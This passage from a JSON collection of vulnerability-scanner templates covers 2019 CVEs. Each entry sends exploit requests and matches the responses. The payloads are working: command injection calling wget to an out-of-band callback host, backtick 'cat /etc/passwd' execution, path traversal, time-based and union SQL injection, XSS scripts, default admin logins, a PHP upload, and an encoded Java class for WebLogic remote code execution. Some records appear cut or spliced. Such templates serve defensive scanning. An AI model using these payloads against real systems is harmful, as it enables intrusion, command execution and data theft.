Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/objects/getImage.php?base64Url={{base64(encode)}}=&format=png","{{BaseURL}}/objects/getImageMP4.php?base64Url={{base64(encode)}}=&format=jpg","{{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url={{base64(encode)}}=&format=jpg"],"headers":{"Content-Type":"application/x-www-form-urlencoded"}},{"method":"GET","path":["{{BaseURL}}/objects/{{filename}}.txt"],"headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["uid=","gid=","groups="],"condition":"and"},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-17506","info":{"name":"D-Link DIR-868L/817LW - Information Disclosure","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/getcfg.php"],"body":"SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a\n","headers":{"Content-Type":"text/xml"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","DEVICE.ACCOUNT"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-8086","info":{"name":"Adobe Experience Manager - XML External Entity Injection","severity":"high"},"requests":[{"raw":["POST /content/{{randstr}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nAuthorization: Basic YWRtaW46YWRtaW4=\nReferer: {{BaseURL}}\n\nsling:resourceType=fd/af/components/guideContainer\n","POST /content/{{randstr}}.af.internalsubmit.json HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nAuthorization: Basic YWRtaW46YWRtaW4=\nReferer: {{BaseURL}}\n\nguideState={\"guideState\"%3a{\"guideDom\"%3a{},\"guideContext\"%3a{\"xsdRef\"%3a\"\",\"guidePrefillXml\"%3a\"\\u0041\\u0042\\u0043\"}}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ABC"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-8449","info":{"name":"Jira <8.4.0 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"users\":{\"users\":"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-1010287","info":{"name":"Timesheet Next Gen <=1.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /timesheet/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[">"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-17444","info":{"name":"Jfrog Artifactory <6.17.0 - Default Admin Password","severity":"critical"},"requests":[{"raw":["POST /ui/api/v1/ui/auth/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\nX-Requested-With: XMLHttpRequest\nOrigin: {{RootURL}}\n\n{\"user\":\"admin\",\"password\":\"password\",\"type\":\"login\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"name\":\"admin\"","\"admin\":true"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-6112","info":{"name":"WordPress Sell Media 2.4.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/sell-media-search/?keyword=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["id=\"sell-media-search-text\" class=\"sell-media-search-text\"","alert(1337)"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-12987","info":{"name":"Citrix SD-WAN Center - Remote Command Injection","severity":"critical"},"requests":[{"raw":["GET /login HTTP/1.1\nHost: {{Hostname}}\n","GET /Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://{{interactsh-url}}%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_1, \"Citrix SD-WAN\")"]},{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2019-19908","info":{"name":"phpMyChat-Plus 1.98 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/plus/pass_reset.php?L=english&pmc_username=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["username = \""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-12461","info":{"name":"WebPort 1.19.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"success\":\"Chart updated\"}"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-7256","info":{"name":"eMerge E3 1.00-06 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20{{file}}.txt%60 HTTP/1.1\nHost: {{Hostname}}\n","GET /{{file}}.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-15889","info":{"name":"WordPress Download Manager <2.9.94 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/download-manager/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Download Manager","License:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-12276","info":{"name":"GrandNode 4.40 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd"],"headers":{"Connection":"close"},"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-3403","info":{"name":"Jira - Incorrect Authorization","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/rest/api/2/user/picker?query="],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(header, \"application/json\")","contains_any(body, \"\\\"users\\\":\",\"\\\"usuario\\\":\")","contains_all(body, \"\\\"total\\\":\", \"\\\"header\\\":\")","status_code == 200 || status_code == 404"],"condition":"and"},{"type":"word","part":"body","words":["total\":0"],"negative":true}]}]},{"id":"CVE-2019-2729","info":{"name":"Oracle WebLogic Server Administration Console - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /wls-wsat/CoordinatorPortType HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/xml\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\n\nxxxxorg.slf4j.ext.EventDatayv66vgAAADIAYwoAFAA8CgA9AD4KAD0APwoAQABBBwBCCgAFAEMHAEQKAAcARQgARgoABwBHBwBICgALADwKAAsASQoACwBKCABLCgATAEwHAE0IAE4HAE8HAFABAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExSZXN1bHRCYXNlRXhlYzsBAAhleGVjX2NtZAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAANmaXMBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpc3IBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBAAZyZXN1bHQBAA1TdGFja01hcFRhYmxlBwBRBwBSBwBTBwBCBwBEAQAKRXhjZXB0aW9ucwEAB2RvX2V4ZWMBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBNBwBUAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAChSZXN1bHRCYXNlRXhlYy5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAVABYHAFUMAFYAVwwAWABZBwBSDABaAFsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAVAFwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAVAF0BAAAMAF4AXwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABgAGEMAGIAXwEAC2NtZC5leGUgL2MgDAAcAB0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQALL2Jpbi9zaCAtYyABAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABMAFAAAAAAABAABABUAFgABABcAAAAvAAEAAQAAAAUqtwABsQAAAAIAGAAAAAYAAQAAAAMAGQAAAAwAAQAAAAUAGgAbAAAACQAcAB0AAgAXAAAA+QADAAcAAABOuAACKrYAA0wrtgAETbsABVkstwAGTrsAB1kttwAIOgQBOgUSCToGGQS2AApZOgXGABy7AAtZtwAMGQa2AA0ZBbYADbYADjoGp//fGQawAAAAAwAYAAAAJgAJAAAABgAIAAcADQAIABYACQAgAAoAIwALACcADAAyAA4ASwARABkAAABIAAcAAABOAB4AHwAAAAgARgAgACEAAQANAEEAIgAjAAIAFgA4ACQAJQADACAALgAmACcABAAjACsAKAAfAAUAJwAnACkAHwAGACoAAAAfAAL/ACcABwcAKwcALAcALQcALgcALwcAKwcAKwAAIwAwAAAABAABABEACQAxAB0AAgAXAAAAqgACAAMAAAA3EglMuwALWbcADBIPtgANKrYADbYADrgAEEynABtNuwALWbcADBIStgANKrYADbYADrgAEEwrsAABAAMAGgAdABEAAwAYAAAAGgAGAAAAFgADABkAGgAeAB0AGwAeAB0ANQAfABkAAAAgAAMAHgAXADIAMwACAAAANwAeAB8AAAADADQAKQAfAAEAKgAAABMAAv8AHQACBwArBwArAAEHADQXADAAAAAEAAEANQAJADYANwACABcAAAArAAAAAQAAAAGxAAAAAgAYAAAABgABAAAANgAZAAAADAABAAAAAQA4ADkAAAAwAAAABAABADUAAQA6AAAAAgA7ResultBaseExececho${IFS}COP-9272-9102-EVC|revconnectionHandlertrue]]>\n","POST /_async/AsyncResponseService HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/xml\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\n\nxxxxoracle.toplink.internal.sessions.UnitOfWorkChangeSet-84-19051151140231069711897461171161051084676105110107101100729711510483101116-40108-4190-107-35423020012011401710697118974611711610510846729711510483101116-7068-123-107-106-72-735230012011211912000166364000002115114058991111094611511711046111114103469711297991041014612097108971104610511011610111411097108461201151081169946116114971204684101109112108971161011157310911210898779-63110-84-855130673013951051101001011101167811710998101114730149511611497110115108101116731101001011209101095981211161019911110010111511603919166910695991089711511511601891761069711897471089711010347671089711511559760595110971091011160187610697118974710897110103478311611410511010359760179511111711611211711680114111112101114116105101115116022761069711897471171161051084780114111112101114116105101115591201120000-1-1-1-11171140391916675-32521103103-37552001201120002117114029166-84-1323-86884-32200120112008-82-54-2-70-6600050099100303470977037703810161151011141059710886101114115105111110857368101741013671111101151169711011686971081171015-8332-109-13-111-35-176210660105110105116621034041861046711110010110157610511010178117109981011148497981081011018761119997108869711410597981081018497981081011041161041051151019831161179884114971101151081011168097121108111971001012731101101011146710897115115101115105376121115111115101114105971084711297121108111971001154711711610510847719710010310111611536831161179884114971101151081011168097121108111971005910911611497110115102111114109101144076991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947687977599176991111094711511711047111114103479711297991041014712010910847105110116101114110971084711510111410597108105122101114478310111410597108105122971161051111107297110100108101114594186108100111991171091011101161045769911110947115117110471111141034797112979910410147120971089711047105110116101114110971084712011510811699476879775910810497110100108101114115106691769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145910106912099101112116105111110115703910-904076991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947687977597699111109471151171104711111410347971129799104101471201091084710511011610111411097108471001161094768847765120105115731161011149711611111459769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145941861081051161011149711611111410537699111109471151171104711111410347971129799104101471201091084710511011610111411097108471001161094768847765120105115731161011149711611111459107104971101001081011141065769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145910108311111711499101701051081011012719710010310111611546106971189712010011704010511211151111151011141059710847112971211081119710011547117116105108477197100103101116115368311611798841149711011510810111680971211081119710010649911110947115117110471111141034797112979910410147120971089711047105110116101114110971084712011510811699471141171101161051091014765981151161149799116841149711011510810111610201069711897471051114783101114105971081051229798108101105799111109471151171104711111410347971129799104101471209710897110471051101161011141109710847120115108116994784114971101151081011166912099101112116105111110103112111511111510111410597108471129712110811197100115471171161051084771971001031011161151086099108105110105116621018106971189747105111477010510810187114105116101114704210221069711897471089711010347831161141051101036611710210210111470441004503410161069711897471089711010347841041141019710070471013991171141141011101168410411410197100102040417610697118974710897110103478410411410197100591204905010048051102110310111667111110116101120116671089711511576111971001011141025404176106971189747108971101034767108971151157611197100101114591205305410048055101478057102110697118974710897110103476710897115115761119710010111470591011103101116821011151111171149910110344076106971189747108971101034783116114105110103594176106971189747110101116478582765912061062100600631012106971189747110101116478582767065107103101116809711610410204041761069711897471089711010347831161141051101035912067068100660691069711211210111010010444076106971189747108971101034783116114105110103594176106971189747108971101034783116114105110103661171021021011145912071072100450731017464647464647102971181059911111046105991118075108116111831161141051101031207706810045078102140761069711897471089711010347831161141051101035941861201008010043081101610697118974710897110103478311611410511010370831010861171081101011149798108101808510084081101410697118974710511147871141051161011147088104240761069711897471089711010347671049711483101113117101110991015941761069711897471051114787114105116101114591207109010089091105102108117115104120930111008909410138311697991077797112849798108101103012111511111510111410597108478011911010111451575652505148504850525153485110327612111511111510111410597108478011911010111451575652505148504850525153485159033020301040102605060107000208040101001101012000470101000542-7301-79000201300060100041014000120100050150980001019020020120006300030001-79000201300060100046014000320300010150980000010210220100010230240202500040102601019027020120007300040001-790002013000601000500140004204000101509800000102102201000102802902000103003103025000401026080410110101200081060200060-8903176-6904389-6904589-73046-72052-740561858-74064-74070-740741876-74074-74079-73082-69084891886-73087-74092-74095-7900010960003013020320002033017000100102035016091171130126011001-44-54-2-70-6600050027100302170237024702510161151011141059710886101114115105111110857368101741013671111101151169711011686971081171015113-26105-1860109712410660105110105116621034041861046711110010110157610511010178117109981011148497981081011018761119997108869711410597981081018497981081011041161041051151037011111110127311011010111467108971151151011151037761211151111151011141059710847112971211081119710011547117116105108477197100103101116115367011111159101083111117114991017010510810110127197100103101116115461069711897120100117026103512111511111510111410597108471129712110811197100115471171161051084771971001031011161153670111111101610697118974710897110103477998106101991161020106971189747105111478310111410597108105122979810810110311211151111151011141059710847112971211081119710011547117116105108477197100103101116115033020301040102605060107000208010101001101012000470101000542-7301-79000201300060100054014000120100050150180002019000202001700010010202201609112116048011911011411211910120115125000102910697118971204612010910846116114971101151021111141094684101109112108971161011151201140231069711897461089711010346114101102108101991164680114111120121-3139-3832-521667-53201760110411603776106971189747108971101034711410110210810199116477311011811199971161051111107297110100108101114591201121151140501151171104611410110210810199116469711011011111697116105111110466511011011111697116105111110731101181119997116105111110729711010010810111485-54-111521-53126-912027601210910110998101114869710811710111511601576106971189747117116105108477797112597604116121112101116017761069711897471089711010347671089711511559120112115114017106971189746117116105108467297115104779711257-38-63-612296-47302700101081119710070979911611111473091161041141011151041111081001201126364000001211980001600011160810253975397544856113012608120118114029106971189712046120109108461161149711011510211111410946841011091121089711610111500000000000120112120\n","GET /_async/favicon.ico HTTP/1.1\nHost: {{Hostname}}\n"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"dsl","dsl":["status_code_1 == 200","contains(body_1, \"CVE-2019-2729-POC\")"],"condition":"and"},{"type":"dsl","dsl":["status_code_2 == 202","contains(body_3, \"Vulnerable\")"],"condition":"and"}]}]},{"id":"CVE-2019-19368","info":{"name":"Rumpus FTP Web File Manager 8.2.9.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Login?!'>"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-18922","info":{"name":"Allied Telesis AT-GS950/8 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-17418","info":{"name":"MetInfo 7.0.0 beta - SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/?n=language&c=language_general&a=doSearchParameter&editor=cn&word=search&appno=0+union+select+98989*443131,1--+&site=admin"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["43865094559"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-8442","info":{"name":"Jira - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/s/{{randstr}}/_/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml","{{BaseURL}}/s/{{randstr}}/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["com.atlassian.jira"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-11013","info":{"name":"Nimble Streamer <=3.5.4-9 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/demo/file/../../../../../../../../etc/passwd%00filename.mp4/chunk.m3u8?nimblesessionid=1484448"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-7139","info":{"name":"Magento - SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"text/x-magento-init\")"],"condition":"and","internal":true}]},{"raw":["@timeout: 20s\nGET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))+OR+(SELECT*FROM+(SELECT+SLEEP((8)))a)%3d1+--+- HTTP/1.1\nHost: {{Hostname}}\n","GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=0)%20--%20- HTTP/1.1\nHost: {{Hostname}}\n","GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=1)%20--%20- HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"stop-at-first-match":true,"matchers":[{"type":"dsl","name":"time-based","dsl":["duration_1>=8","contains(content_type_1, \"application/json\")"],"condition":"and"},{"type":"dsl","name":"blind-based","dsl":["contains(content_type_2, \"application/json\") && contains(content_type_3, \"application/json\")","status_code_2 == 200 && status_code_3 == 400","len(body_2) == 2 && len(body_3) == 2"],"condition":"and"}]}]},{"id":"CVE-2019-10092","info":{"name":"Apache HTTP Server <=2.4.39 - HTML Injection/Partial Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/%5cgoogle.com/evil.html"],"matchers-condition":"and","matchers":[{"type":"word","words":["Proxy Error"]},{"type":"word","words":[""]}]}]},{"id":"CVE-2019-3402","info":{"name":"Jira < 8.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'' does not exist"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-11248","info":{"name":"Debug Endpoint pprof - Exposure Detection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/debug/pprof/","{{BaseURL}}/debug/pprof/goroutine?debug=1"],"stop-at-first-match":true,"matchers":[{"type":"word","words":["Types of profiles available:","Profile Descriptions","goroutine profile: total"],"condition":"or"}]}]},{"id":"CVE-2019-13462","info":{"name":"Lansweeper Unauthenticated SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["~lansweeperdb~"]},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2019-17574","info":{"name":"Popup-Maker < 1.8.12 - Broken Authentication","severity":"critical"},"requests":[{"raw":["GET /?pum_action=tools_page_tab_system_info HTTP/1.1\nHost: {{Hostname}}\n","POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\npopmake_action=popup_sysinfo&popmake-sysinfo=CVE-2019-17574\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["Popup Maker Configuration","Webserver Configuration"],"condition":"and"},{"type":"word","part":"body_2","words":["CVE-2019-17574"]}]}]},{"id":"CVE-2019-7254","info":{"name":"eMerge E3 1.00-06 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/?c=../../../../../../etc/passwd%00","{{BaseURL}}/badging/badge_print_v0.php?tpl=../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-16997","info":{"name":"Metinfo 7.0.0 beta - SQL Injection","severity":"high"},"requests":[{"raw":["POST /admin/?n=language&c=language_general&a=doExportPack HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nappno= 1 union SELECT 98989*443131,1&editor=cn&site=web\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["43865094559"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-7192","info":{"name":"QNAP QTS and Photo Station 6.0.3 - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /photo/p/api/album.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\na=setSlideshow&f=qsamplealbum\n","GET /photo/slideshow.php?album={{album_id}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n","POST /photo/p/api/video.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nalbum={{album_id}}&a=caption&ac={{access_code}}&f=UMGObv&filename=.%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body_3","regex":["admin:.*:0:0:"]},{"type":"word","part":"header_3","words":["video/subtitle"]},{"type":"status","part":"header_3","status":[200]}],"extractors":[{"type":"regex","name":"album_id","part":"body_1","group":1,"regex":["([a-zA-Z]+)<\\/output>"],"internal":true},{"type":"regex","name":"access_code","part":"body_2","group":1,"regex":["encodeURIComponent\\('([A-Za-z0-9]+)'\\)"],"internal":true}]}]},{"id":"CVE-2019-2578","info":{"name":"Oracle Fusion Middleware WebCenter Sites 12.2.1.3.0 - Broken Access Control","severity":"high"},"requests":[{"raw":["GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1\nHost: {{Hostname}}\n","GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/Slots HTTP/1.1\nHost: {{Hostname}}\n"],"stop-at-first-match":true,"matchers":[{"type":"regex","part":"body","regex":[""]}]}]},{"id":"CVE-2019-7219","info":{"name":"Zarafa WebApp <=2.0.1.47791 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webapp/?fccc%27\\%22%3E%3Csvg/onload=alert(/xss/)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-18371","info":{"name":"Xiaomi Mi WiFi R3G Routers - Local file Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api-third-party/download/extdisks../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-7609","info":{"name":"Kibana Timelion - Arbitrary Code Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/api/timelion/run"],"body":"{\"sheet\":[\".es(*)\"],\"time\":{\"from\":\"now-1m\",\"to\":\"now\",\"mode\":\"quick\",\"interval\":\"auto\",\"timezone\":\"Asia/Shanghai\"}}","headers":{"Content-Type":"application/json; charset=utf-8"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["seriesList"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-12985","info":{"name":"Citrix SD-WAN Center - Remote Command Injection","severity":"critical"},"requests":[{"raw":["GET /login HTTP/1.1\nHost: {{Hostname}}\n","POST /Collector/diagnostics/ping HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nipAddress=%60/bin/wget+http://{{interactsh-url}}%60\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_1, \"Citrix SD-WAN\")"]},{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2019-12314","info":{"name":"Deltek Maconomy 2.2.5 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-20183","info":{"name":"Simple Employee Records System 1.0 - Unrestricted File Upload","severity":"high"},"requests":[{"raw":["POST /dashboard/uploadID.php HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/javascript, */*; q=0.01\nX-Requested-With: XMLHttpRequest\nContent-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337\n\n-----------------------------5825462663702204104870787337\nContent-Disposition: form-data; name=\"employee_ID\"; filename=\"poc.php\"\nContent-Type: image/png\n\n\n-----------------------------5825462663702204104870787337--\n","GET /uploads/employees_ids/{{endpoint}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body_2","words":["1ad0d710225c472cb7396b3c1d97e4dd"]}],"extractors":[{"type":"regex","name":"endpoint","regex":["(?:[a-zA-Z0-9+\\/])*_poc.php"],"internal":true,"part":"body"}]}]},{"id":"CVE-2019-0221","info":{"name":"Apache Tomcat - Cross-Site 